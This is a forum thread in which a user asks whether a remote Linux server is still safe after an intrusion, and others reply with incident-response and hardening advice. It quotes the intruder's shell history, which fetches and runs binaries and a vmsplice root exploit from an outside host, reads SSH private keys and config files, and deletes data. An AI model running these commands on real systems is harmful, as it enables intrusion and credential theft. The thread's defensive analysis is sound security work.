# Is the box compromised or only the user account?

## simvin76

Hello

When I logged in today I noticed that someone had done a "chmod 777 *" on my home folder. Several new keys had appeared in authorized_keys. Only files in my home directory were modified. I couldn't see anywhere that they got root access, only files where my day-to-day account had access. 

My question is if my box is still secure, or if I should try to reinstall the system? Problem is that the box is 1000 km away and my next planned access to it is in 18 months. I have a second (rescue) installation that I have switched to, but is that any more safe than my primary installation?

.bash_history

[quote]

uname -a ;id ; w

ls -a

cat .bash_history

ping diablo.studorg.ltu.se

wget casa.brasilchat.org/ftp/jessicaalba

chmod 777 *

./jessicaalba

ls -a

pwd

/home/vinde/jessicaalba

cp /home/vinde/jessicaalba /dev/shm/j

cd /dev/shm

ls -a

./j

./dev/shm/j

w

sudo su

rm -rf *

cd 

ls -a

cat .bash_history

cat .bash_history| grep ssh

cat .bash_history

cat .bash_history| greep su

cat .bash_history| grep su

sudo su

locate ht

locate htpa

locate config.php

cat /etc/squirrelmail/config.php

cat /usr/share/squirrelmail/plugins/vkeyboard/config.php

ls -a

./jessicaalba

rm -rf jessicaalba

./sent

ls -a sent

wget casa.brasilchat.org/jessicaalba

wget casa.brasilchat.org/ftp/jessica.c

gcc

rm -rf jessica.c

wget casa.brasilchat.org/jessicaalba

wget casa.brasilchat.org/ftp/jessicaalba

chmod 777 jessicaalba

chmod +x jessicaalba

./jessicaalba

mv jessicaalba jes

ls -a

./jes

cat sent

ssh info@babylon.campus.luth.se

su info

a

./jes

pwd

ls -a

/home/vinde/jes

chmod 775 jes

./jes

gcc

cd .sudo_as_admin_successful

cat .sudo_as_admin_successful

cd .ssh

ls -a

cat authorized_keys2

cd /root

ls -a

cat .bash_history

cat /etc/passwd

cd /home

s -a

ls -a

find | grep config.php

find | grep hist

cat ./epost/.bash_history

cat ./vinde/.nano_history

cd

ls -a

cd /tmp

ls -a

wget casa.brasilchat.org/porra.tar.gz

tar zxfv porra.tar.gz

./porra

ls -a

/tmp/porra

exec

exec /tmp/porra

exit

system

su

pico a.c

gcc

sudo apt-get install gcc

w

last -a

ssh diablo.studorg.luth.se

w/

w

who

ls -a

rm -rf *

cd

ls -a

cat logcolorize.pl

./logcolorize.pl

./logcolorize.pl --help

ls -a

perl logcolorize.pl

perl logcolorize.pl -help

find | grep pass

find | grep txt

cat ./Larv2007/LARV/tom.txt

cat ./Larv2007/PG/Rekrytering/portaltext.txt

bsdh

bash

cat ./no-ip/accounts.txt

cd no-ip/

ls -a

cat accounts.txt

cat noipsync.sh

ssh ett@article19.biz

host 130.240.207.124

su

su ett

sudo su

ls -a

cat a19.virtusertable

cd

ls -a

cd .ssh

ls -a

cat known_hosts

cat id_rsa

cat authorized_keys2

ssh vinde@sargon

uname -a ;id ; w

gcc

ls -a

cd

ls -a

./jes

pwd

cat /proc/cpuinfo

pwd

/home/vinde/jes

cat /home/vinde/jes

perl jes

exec

exec help

exec --help

exec /home/vinde/jes

exec jes

./jes

locate gcc

locate gcc| grep /gcc

/usr/lib/gcc

/usr/bin/gccmakedep

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc

ls -a

wget casa.brasilchat.org/ftp/jessica.c

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc -o j jessica.c

export PATH=${PATH}:/usr/local/bin

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc -o j jessica.c

which as

locate /as 

/mnt/sda2-rescue/usr/bin/as

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc

ls -a /mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/| grep as

find /mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/| grep as

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/bin/as

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/binutils-bin/2.16.1/as

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/bin/as

locate gcc

uname -a

locate gcc

/usr/lib/gcc

/usr/lib/gcc/x86_64-linux-gnu/4.1.2/cc1

/usr/lib/gcc/x86_64-linux-gnu/4.1/cc1

uname -a

/mnt/sda2-rescue/etc/env.d/gcc

/mnt/sda2-rescue/usr/bin/gcc

/mnt/sda2-rescue/usr/bin/gcc64

/mnt/sda2-rescue/usr/lib64/gcc

/mnt/sda2-rescue/usr/portage/sys-devel/gcc

/mnt/sda2-rescue/usr/portage/profiles/default-linux/x86/gcc2

/mnt/sda2-rescue/usr/libexec/gcc/x86_64-pc-linux-gnu/4.1.1/cc1

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc

ls -a 

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/

ls -a /mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/

find /mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/

find /mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/| grep gcc

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/g++

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc --help

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc -o j jes

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc -o j jesssica.c

ls -a

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc -o j jessica.c

echo %PATH%

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc -o j jessica.c

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/bin/as

find /mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/| grep as

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/bin/as

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/bin/as| grep gcc

find /mnt/sda2-rescue/usr/| grep as | grep gcc

ls -a

uname -a

ifconfig

exit

ls -a

./jes

rm -rf jes jessica.c

uname -a ;id ; w

ls -a /tmp

ls -a /dev/shm

ps aux

cat /home/vinde/scripts/check_diablo.pl

w

exit

uname -a ;id ; w

wget casa.brasilchat.org/ftp/jessicaalba

mv jessicaalba r

chmod 777 r

ls -a | grep r

ls | grep r

./r

pwd

cp /home/vinde/r /tmp/r

cd /tmp

ls 

/tmp/r

cp /tmp/r /dev/shm/r

cp /tmp/r /dev/shm/r ; cd /dev/shm ; ./r

id

find / -gid 1000 > sdhuashda &

ls -a

cat sdhuashda

cd "/pub/filmer/diverse/Kortisar/Roligt/Humor/Olika clipp/"

ls -a

cp /tmp/r r

./r

ls -a | grep r

rm -rf r

locate gcc

locate gcc| grep /gcc | grep 64

/mnt/sda2-rescue/usr/lib64/gcc

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc

cd /dev/shm

ls -a

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc

wget casa.brasilchat.org/ftp/jessica.c

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc -o j jessica.c 

setenv PATH ${PATH}:/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1

export PATH=${PATH}:/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc -o j jessica.c

export PATH=${PATH}:/dev/shm

wget casa.brasilchat.org/as

chmod 777 *

export PATH=${PATH}:/dev/shm

/mnt/sda2-rescue/usr/x86_64-pc-linux-gnu/gcc-bin/4.1.1/gcc -o j jessica.c

w

who

uname -a ;id ; w

ls -a

rm -rf *

cd

cd /tmp

ls -a

rm -rf *

cd

ls -a

cat .bash_history

sudo nano a19.virtusertable

ssh vinde@darius.article19.biz

exit

ls -a

cd .ssh

ls -a

cat authorized_keys2

nano authorized_keys2 

exit

cd .ssh

ls -a

cat id_rsa

cat authorized_keys2

nano authorized_keys2 

ifconfig | grep inet

nano authorized_keys2 

ls -a

cat id_rsa

nano authorized_keys2 

exit

cd .ssh

pico authorized_keys2 

ssh sargon

exit

cd .ssh

cat authorized_keys2 

cat authorized_keys2 | grep AAAAB3NzaC1yc2EAAAABIwAAAQEAqTnO

ls -a

cat id_rsa

exit

auth.log (83.250.153.235 is my home IP (non-static)

 *Quote:*   

> Jun 22 22:09:12 babylon sshd[6585]: Accepted publickey for vinde from 83.250.153.235 port 46566 ssh2
> 
> Jun 22 22:09:12 babylon sshd[6587]: pam_unix(ssh:session): session opened for user vinde by (uid=0)
> 
> Jun 22 22:09:12 babylon sshd[6587]: pam_unix(ssh:session): session closed for user vinde
> ...

 

----------

## NeddySeagoon

simvin76,

You cannot tell.  The only safe course is to revoke any pgp keys held on the box and reinstall.

What is in /root/.bash_history  ?

Any attacker who know what they were doing woild not have left traces in and history file.

It will take longer to try to check, then you will never be sure than the reinstall.

----------

## Hu

An advanced attacker could have modified your login environment to automatically log and send out all keystrokes, so if you ever became root from that account after the compromise, the attacker could have the root password.

The repeated fetches and execution of the file jessicaalba, as well as the compile attempts for something that was probably the source to that program, make me nervous.  As I recall, one of the recent kernel privilege escalation bugs had an exploit that referenced Jessica Alba in its name.  You did not say what kernel you are running, but I see your gcc is somewhat outdated.  From that, I suspect you may also be behind on other system upgrades, in which case the attacker could have elevated himself through one of those.

I concur with Neddy.  Assume everything on that system is compromised and reinstall from scratch.  If you have the disk space, it could be an interesting forensic exercise to save the old system and examine it later.  However, I would not trust it in a production environment.

----------

## baeksu

You know, those files the guy accessed are still available...

Looking at the jessica.c source code, it includes these comments on top: *Quote:*   

> * Linux vmsplice Local Root Exploit
> 
>  * By qaaz
> 
>  *
> ...

 

The file was originally called "jessica_biel_naked_in_my_bed.c", and it's still available here.

If the machine was running a kernel with the vmsplice vulnerability, I'd say the attacker definitely gained root privileges.

----------

## bunder

 *baeksu wrote:*   

> You know, those files the guy accessed are still available...
> 
> Looking at the jessica.c source code, it includes these comments on top: *Quote:*   * Linux vmsplice Local Root Exploit
> 
>  * By qaaz
> ...

 

judging by that history, did they even run it?  some of these people are really braindead, and just try to look l33t.   :Confused: 

----------

## Akkara

 *Quote:*   

> judging by that history, did they even run it?

 

Seems like they did, or at least tried to.  First handful of lines from the posted .bash_history:

```
wget casa.brasilchat.org/ftp/jessicaalba

chmod 777 *

./jessicaalba
```

Whether it actually ran I don't think we can tell.  There's quite a dance of copying it around and renaming and running and re-running the renamed versions.  So there's a chance it needed some .so that wasn't found and it kept erroring out and the copy-dance was them trying whatever they knew in the hopes it fixes the problem.

One way to find out if it ran: try running it yourself.  If it works, it means your system was already hosed and you gotta fix it anyway.  If it doesn't work, you have a piece of information.

----------

## PaulBain

What about trying the find command to find recently modified files, and you should then have a bit more of an idea about what they did. Although you would need to be root:

For last 24 hours:

```
find / -mtime 1
```

----------

## timeBandit

Regardless of the state of this box, this is the disaster:

 *simvin76 wrote:*   

> 
> 
> ```
> cd .ssh
> 
> ...

 This intruder now knows every machine you accessed via SSH from your box and has your private key.

If you haven't already, check all other systems you access for signs of intrusion and revoke your SSH keys immediately (as well as PGP as NeddySeagoon pointed out). If your known_hosts file contained any systems that you do not own, notify the administrators at once that you--and potentially they--have been compromised. Otherwise, you will be blamed for any nefarious activity.

It's very much like identity theft. Until you revoke that key, insofar as SSH is concerned the attacker is you.

----------

## Anarcho

 *timeBandit wrote:*   

> Regardless of the state of this box, this is the disaster:
> 
>  *simvin76 wrote:*   
> 
> ```
> ...

 

Thats why my security setup looks like the following:

1) Only Public Key for SSH

2) All private keys for SSH are encrypted and must be enabled via a passphrase

So there is only a very limited chance, depends on the passphrase, that when someone gets my private keys that he is able to use it. Of course this disables the advantage of password-less logins, but for me, security wins over usability.

----------

## simvin76

Thanks for all the tips.

The first thing I did was to delete the SSH keys and inform other system owners that I had been hacked.

I have gone through my logs and come to the following conclussion:

- The attacker got access to 3 of my servers and my account at the university computer club

- The first server to be hacked have been offline/unreachable/blocked by the university for almost a week

- The attacker gained access to the first server and from there connected to my other accounts/servers with public key access (not password protected)

- Date and size of the kernel files in /boot matches date and size from backup

- My impression from the logs and other files (.bash_history) is that the attacker didn't manage to break my password or get root access (nothing in root/.bash_history [doesn't really say anything since anyone with a brain would delete entries from there. But they left the entries in my day-to-day account])

- I have changed all passwords and removed all SSH keys

But... since someone did hack my day to day account I will do a complete resinstall next time I have physical access to the server.

Again, thanks for all the help

/Simon

----------

## Anarcho

If this is still possible, please test if you can execute the jessicaalba file. If not, please post the error message.

----------

## depontius

Just an aside...

One thing I've been thinking about as an additional (far from the only) security layer is to move /usr/i686-pc-linux-gnu to a different partition, and not normally mount it.  I see the references to "jessica.c" here, and while I recognize that there are other ways to get executables built, and it's possible to transport executables to a box, making the compiler unavailable would add another roadblock, and perhaps exclude a subset of attackers.

Any comments?

----------

## Anarcho

Or just change the permissions to just let root execute gcc.

----------

## baeksu

Or keep all user modifiable directories on a separate partition, and mount it with "noexec".

Keep system (bin, lib, etc.) files on another partition, and mount that read-only.

That way the attacker would require a privilege escalation vulnerability in the existing system files to be able to execute their own code, as they cannot mess with the system without gaining root first.

When you want to update the system, you can temporarily remount the system directories as read-write.

----------

## Hu

That will not pose a significant obstacle to an attacker.  Since you have a common CPU architecture, it is relatively easy for the attacker to build the executable on his machine and the upload it to yours.  If you were running something obscure, such as SPARC64, an attacker would likely not have a suitable compiler handy.  However, it is fairly likely that an attacker will have access to i686 and x86_64 compilers.  In general, once an attacker can execute arbitrary commands on your system, containment becomes much harder.  You are better served by preventing the attacker from ever reaching that point.

----------

## Anarcho

 *baeksu wrote:*   

> Or keep all user modifiable directories on a separate partition, and mount it with "noexec".
> 
> Keep system (bin, lib, etc.) files on another partition, and mount that read-only.
> 
> That way the attacker would require a privilege escalation vulnerability in the existing system files to be able to execute their own code, as they cannot mess with the system without gaining root first.
> ...

 

But this will not prevent the system from scriptable code like perl. And you can embed C-Code in Perl which will be compiled on runtime.

----------

## depontius

When I suggested making the compiler unavailable, I also mentioned that it was only part of the solution.  Obviously there are ways around it.  I only suggested that it would be an impediment, and it might at least raise the skill level necessary to crack your machine.

As an aside, from what I understand the old "/bin/ld.so (filename)" hack that used to get around the noexec mount option has been closed, and won't work any more.  I realize that perl is the other common way to generate an executable, and wish that they would honor the noexec mount option when building/running code.

----------

